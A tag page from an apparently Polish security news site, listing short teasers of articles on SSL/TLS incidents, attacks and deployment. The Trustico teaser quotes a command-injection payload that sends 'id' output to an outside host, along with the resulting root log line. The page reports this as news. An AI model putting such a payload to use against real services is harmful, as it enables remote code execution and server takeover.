Tag: SSL

Nowa kampania phishingowa na Netflixa – lądujemy na stronie z prawidłowym certyfikatem TLS

22 czerwca 2018, 14:15 | W biegu | 1 komentarz

O ciekawym przypadku nowej kampanii phishingowej Netflixa poinformował ostatnio SANS (https://isc.sans.edu/diary/23786). Napastnicy rozsyłają maile z ostrzeżeniem mające zmanipulować ofiarę do kliknięcia przycisku który przekieruje ofiarę na fałszywą stronę (Rys nr 1). Ta część ataku nie była przygotowana najlepiej, rozesłane maile nie były podobne do oryginalnych wiadomości rozsyłanych przez Netflixa do…

Czytaj dalej »

23 000 certyfikatów SSL do wyrzutki. Mieli serwis odpalony na roocie + banalne wstrzyknięcie

04 marca 2018, 17:39 | W biegu | komentarze 2

Chodzi o Trustico, który dostarczał certyfikaty SSL m.in. „pechowemu” Equifax. Jak wyglądał exploit dający roota? Banalnie – w miejscu gdzie sprawdzaliśmy domenę wystarczyło wpisać: $(curl https://domain/`id`) Efekt? Porażający, bo poza wykonaniem kodu, widać że wykonuje się on jako root: 35.190.140.214 - [01/Mar/2018:09:52:14 -0500] "GET /uid=0(root) HTTP/1.1" 404 209 "-" "curl/7.29.0" Nasi czytelnicy raczej się nie nabiorą nigdy na hasło Trustico (i…

Czytaj dalej »

Nowy atak na RSA/SSL – ROBOT. Umożliwia deszyfrację ruchu.

12 grudnia 2017, 21:04 | W biegu | 1 komentarz

Czy warto się przejmować? Autorzy badania dotyczącego nowego ataku ROBOT, pokazali w ramach demo, podpisanie wiadomości… kluczem prywatnym Facebooka (dokładniej: chodzi o ich certyfikat HTTPS i powiązany z nim klucz prywatny): Further we have demonstrated practical exploitation by signing a message with the private key of facebook.com’s HTTPS certificate. Tutaj…

Czytaj dalej »

Kilka słów o wdrożeniu SSL i TLS – cz. II

29 marca 2017, 19:11 | Teksty | komentarzy 7
Kilka słów o wdrożeniu SSL i TLS – cz. II

W poprzedniej części poznaliśmy teoretyczne przesłanki, na które należy zwrócić uwagę podczas przygotowania się do wdrożenia mechanizmów szyfrowania SSL/TLS. W tej części postaramy się skupić na konfiguracji, która gwarantuje nam poprawne prezentowanie odwiedzającym naszą stronę stosowanych zabezpieczeń i szyfrów kryptograficznych.

Czytaj dalej »

Kilka słów o wdrożeniu SSL i TLS – cz. I

09 lutego 2017, 07:44 | Teksty | komentarzy 19
Kilka słów o wdrożeniu SSL i TLS – cz. I

SSL / TLS jest pozornie prostą techniką zapewniającą m.in. ochronę witryn internetowych. Gwarantuje poufność transmisji danych przesyłanych przez internet, zachowując przy tym prostotę instalacji i działania – z wyjątkiem, gdy tak nie jest. Przy końcówce 2014 roku, gigant z Mountain View – Google – na swoim blogu poinformował, że strony…

Czytaj dalej »

Comodo wystawiając certyfikat SSL pomylił firmy – używali OCR-a z podatnością…

22 października 2016, 16:55 | W biegu | komentarze 2

Comodo używa (używał?) OCR-a (tak, takiego do rozpoznawania tekstu z obrazu) do wydobycia z bazy whois e-maila admina odpowiedzialnego za daną domenę (to ta osoba potwierdza, że rzeczywiście jest właścicielem domeny – tj. może otrzymać certyfikat SSL).  Pechowo używany OCR posiada podatność, która nie rozpoznaje różnicy np. pomiędzy znakami l…

Czytaj dalej »

Blackhat USA: rozwalili AES-GCM w https – wśród podatnych była np. domena Związku Banków Polskich

11 sierpnia 2016, 15:31 | W biegu | komentarze 2

Wyszli ze swoją prezentacją z informacją, że niestety nie mają slajdów… po czym wbili w przeglądarkę  https://careers.mi5.gov.uk (tak, z zieloną kłódką). W tle zapuszczony był nowy atak MiTM na AES w trybie GCM, który umożliwił… wstrzyknięcie slajdów w stronę mi5.gov.uk z której dalej prezentowano nowe osiągnięcie: Czy zawsze AES-GCM jest…

Czytaj dalej »

Google blokuje w Chrome chińskie root CA

02 kwietnia 2015, 15:22 | W biegu | 1 komentarz

Ostatnio pisaliśmy o unieważnieniu certyfikatów SSL firmy MCS Holding. Przypominam – chodziło o podstawianie certyfikatów, aby podszyć się pod domeny Google (bez komunikatów o błędach w przeglądarce). Teraz Google idzie dalej i usunie w Chrome certyfikat root CA organizacji CNNIC – ze zbioru certyfikatów zaufanych (organizacja ta wydała „feralny” certyfikat…

Czytaj dalej »

Deszyfrowanie ruchu SSL/TLS w Wiresharku

12 lutego 2015, 20:37 | W biegu | komentarze 4

Funkcjonalność deszyfrowania ruchu SSL/TLS w Wiresharku istniała od dawna (oczywiście po podaniu do tego narzędzia odpowiedniego klucza prywatnego, co było możliwe do zablokowania mechanizmem forward secrecy – czyli sam klucz prywatny nie wystarczał do odszyfrowania ruchu). Jednak już od wersji Wiresharka 1.6+ istnieje możliwość bezpośredniego podania klucza symetrycznego sesji SSL/TLS…

Czytaj dalej »